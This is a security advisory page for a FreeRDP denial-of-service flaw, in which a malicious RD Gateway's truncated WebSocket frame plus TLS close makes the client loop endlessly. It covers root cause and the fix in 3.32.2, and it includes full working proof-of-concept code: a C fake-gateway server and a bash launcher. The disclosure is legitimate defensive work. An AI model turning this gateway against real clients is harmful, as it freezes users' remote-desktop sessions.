Read the docs

FreeRDP WebSocket client loops forever on TLS close mid-frame

Priority MEDIUM 44CWE-400Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Required
Attack complexity
Low
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-x26g-fp9v-c2pg. Fix status from GitHub. Impact type from CWE-400.

Summary

FreeRDP versions up to and including 3.32.1 are affected. A malicious RD Gateway can send a partial WebSocket frame and then close the TLS connection, and the client keeps reading the missing payload without end (CWE-835). The gateway can keep a client thread running and consuming CPU until the process is killed.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

### Summary A malicious RD Gateway can complete a TLS and WebSocket upgrade, send a partial frame (`82 05 68 65`: five-byte payload declared, two bytes supplied), and send TLS `close_notify`. The FreeRDP client then repeatedly reads the missing payload from a BIO returning clean EOF. One client thread remains runnable and consumes CPU until the process is killed. No gateway credentials were validated in the observed fake-gateway run. There was no observed memory corruption or data exposure. ### Root cause and reachability In FreeRDP 3.32.0, `libfreerdp/crypto/tls.c` maps `SSL_ERROR_ZERO_RETURN` to zero without a retry flag. `websocket_read_data` in `libfreerdp/core/gateway/websocket.c` returns zero before decrementing the outstanding payload length or changing state. The `WebSocketStatePayload` case in `websocket_context_read` handles negative status or positive progress but loops again unchanged on zero. RDG's `rdg_read_all` and WST's `wst_bio_read` cannot apply their EOF checks because the inner function does not return. RDG WebSocket use is enabled by default in settings; the tested endpoint had a self-signed certificate accepted with `/cert:ignore`. A MITM needs certificate acceptance. ### Impact and validation limits An end-to-end `xfreerdp` test reached the real RDG → WebSocket → TLS BIO path; a debugger backtrace confirmed it, and the connection thread remained runnable with increasing CPU ticks. A counting BIO linked to the real `websocket.c` translation unit made 1.6–4.3 million reads in three seconds for the truncated frame and returned normally for a complete-frame control. OpenSSL `close_notify` probing confirmed repeated `SSL_ERROR_ZERO_RETURN`. The WST path is source-reachable but was not run end-to-end. The failure path differs from CAND-000074's RDG retry loop and CAND-000158's WebSocket control-reply over-send. ### Reproduction ```c /* * Minimal fake RD Gateway for CAND-000229 end-to-end verification. * * Speaks just enough HTTP/1.1-over-TLS to reach the RDG websocket upgrade: * 1. TLS handshake with an ephemeral self-signed cert. * 2. Read the client's HTTP request headers (any method, e.g. RDG_OUT_DATA). * 3. Answer "101 Switching Protocols" with a valid Sec-WebSocket-Accept. * 4. Send a truncated binary WebSocket frame (82 05 68 65). * 5. Send a clean TLS close_notify (SSL_shutdown) while keeping TCP open. * * Usage: fake_rdg_gateway <port> [trunc|complete] */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #include <netinet/in.h> #include <openssl/ssl.h> #include <openssl/err.h> #include <openssl/x509.h> #include <openssl/evp.h> static SSL_CTX* make_server_ctx(void) { SSL_CTX* ctx = SSL_CTX_new(TLS_server_method()); EVP_PKEY* pkey = EVP_RSA_gen(2048); X509* x = X509_new(); if (!ctx || !pkey || !x) return NULL; X509_set_version(x, 2); ASN1_INTEGER_set(X509_get_serialNumber(x), 1); X509_gmtime_adj(X509_getm_notBefore(x), 0); X509_gmtime_adj(X509_getm_notAfter(x), 3600); X509_set_pubkey(x, pkey); X509_NAME* name = X509_get_subject_name(x); X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_ASC, (const unsigned char*)"fake-rdg", -1, -1, 0); X509_set_issuer_name(x, name); if (!X509_sign(x, pkey, EVP_sha256())) return NULL; if (!SSL_CTX_use_certificate(ctx, x) || !SSL_CTX_use_PrivateKey(ctx, pkey)) return NULL; X509_free(x); EVP_PKEY_free(pkey); return ctx; } static void websocket_accept(const char* key, char* out, size_t outlen) { static const char* guid = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"; unsigned char digest[EVP_MAX_MD_SIZE]; unsigned int dlen = 0; char input[256]; snprintf(input, sizeof(input), "%s%s", key, guid); EVP_Digest(input, strlen(input), digest, &dlen, EVP_sha1(), NULL); EVP_EncodeBlock((unsigned char*)out, digest, (int)dlen); (void)outlen; } int main(int argc, char** argv) { if (argc < 2) { fprintf(stderr, "usage: %s <port> [trunc|complete]\n", argv[0]); return 2; } const int port = atoi(argv[1]); SSL_library_init(); SSL_load_error_strings(); SSL_CTX* ctx = make_server_ctx(); if (!ctx) return 2; int lfd = socket(AF_INET, SOCK_STREAM, 0); int one = 1; setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in addr = { 0 }; addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_port = htons((unsigned short)port); if (bind(lfd, (struct sockaddr*)&addr, sizeof(addr)) || listen(lfd, 4)) { perror("bind/listen"); return 2; } fprintf(stderr, "fake gateway listening on 127.0.0.1:%d\n", port); fflush(stderr); for (int round = 0; round < 2; round++) { int cfd = accept(lfd, NULL, NULL); if (cfd < 0) break; SSL* ssl = SSL_new(ctx); SSL_set_fd(ssl, cfd); if (SSL_accept(ssl) <= 0) { fprintf(stderr, "round %d: SSL_accept failed\n", round); close(cfd); SSL_free(ssl); continue; } char req[65536]; size_t used = 0; while (used < sizeof(req) - 1) { int n = SSL_read(ssl, req + used, (int)(sizeof(req) - 1 - used)); if (n <= 0) break; used += (size_t)n; req[used] = '\0'; if (strstr(req, "\r\n\r\n")) break; } req[used < sizeof(req) ? used : sizeof(req) - 1] = '\0'; fprintf(stderr, "round %d: read %zu bytes of HTTP request\n", round, used); fflush(stderr); const char* keyhdr = strcasestr(req, "\r\nSec-WebSocket-Key:"); if (!keyhdr) keyhdr = strcasestr(req, "Sec-WebSocket-Key:"); char key[256] = { 0 }; if (keyhdr) { const char* p = strchr(keyhdr, ':'); if (p) { p++; while (*p == ' ' || *p == '\t') p++; size_t i = 0; while (*p && *p != '\r' && *p != '\n' && i < sizeof(key) - 1) key[i++] = *p++; } } char accept[128] = { 0 }; websocket_accept(key, accept, sizeof(accept)); fprintf(stderr, "round %d: Sec-WebSocket-Key='%s' Accept='%s'\n", round, key, accept); fflush(stderr); char response[1024]; int rlen = snprintf(response, sizeof(response), "HTTP/1.1 101 Switching Protocols\r\n" "Upgrade: websocket\r\n" "Connection: Upgrade\r\n" "Sec-WebSocket-Accept: %s\r\n" "Sec-WebSocket-Version: 13\r\n" "Sec-WebSocket-Protocol: rdp\r\n" "\r\n", accept); SSL_write(ssl, response, rlen); const int complete = argc > 2 && strcmp(argv[2], "complete") == 0; if (complete) SSL_write(ssl, "\x82\x02\x68\x69", 4); else SSL_write(ssl, "\x82\x05\x68\x65", 4); /* clean TLS EOF while TCP stays open */ SSL_shutdown(ssl); fprintf(stderr, "round %d: sent 101 + %s frame + close_notify; holding socket\n", round, complete ? "complete" : "truncated"); fflush(stderr); sleep(25); close(cfd); SSL_free(ssl); } SSL_CTX_free(ctx); return 0; } ``` ```bash #!/usr/bin/env bash # Run only on a disposable loopback client; this can pin one CPU thread. set -euo pipefail : "${DISPLAY:?an X display is required}" mode="${1:-trunc}" [[ "$mode" == trunc || "$mode" == complete ]] || { echo 'use trunc or complete' >&2; exit 2; } port="${PORT:-3339}" client_bin="${CLIENT_BIN:-xfreerdp}" cc -O2 -Wall -Wextra -o fake_rdg_gateway fake_rdg_gateway.c -lssl -lcrypto run_dir="$(mktemp -d ./ws-eof-poc-XXXXXX)" gw_pid=''; client_pid='' cleanup() { [[ -z "$client_pid" ]] || kill "$client_pid" 2>/dev/null || true [[ -z "$gw_pid" ]] || kill "$gw_pid" 2>/dev/null || true wait 2>/dev/null || true } trap cleanup EXIT ./fake_rdg_gateway "$port" "$mode" >"$run_dir/gateway.log" 2>&1 & gw_pid=$! sleep 1 "$client_bin" /v:127.0.0.1 \ /gateway:"g:127.0.0.1:$port,u:u,d:d,p:p,type:http" \ /cert:ignore /size:800x600 >"$run_dir/client.log" 2>&1 & client_pid=$! sleep 2 for sample in 0 1 2 3; do if [[ ! -d "/proc/$client_pid/task" ]]; then echo "client exited before sample $sample" break fi printf 'sample %s\n' "$sample" for task in "/proc/$client_pid"/task/*; do [[ -r "$task/stat" ]] || continue awk '{print "tid=" $1, "state=" $3, "utime=" $14, "stime=" $15}' "$task/stat" done sleep 1 done printf 'logs: %s\n' "$run_dir" ``` ### Recommended fix Return EOF/error for a zero BIO result with payload outstanding and add a no-progress guard to `websocket_context_read`. Keep retryable reads separate from clean EOF. Test complete, truncated, opcode-boundary EOF, and retryable-stall cases through both callers. No patched release was verified.

Why it matters now

Fix Fixed FreeRDP (c/c++): 3.32.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c/c++)<= 3.32.13.32.2Patch availableGHSA-x26g-fp9v-c2pg
  • FreeRDP (c/c++) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-x26g-fp9v-c2pg

Remediation

Upgrade FreeRDP to version 3.32.2, the fixed version listed for this product.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-x26g-fp9v-c2pg FreeRDP (c/c++) Fixed in 3.32.2 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-x26g-fp9v-c2pg

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences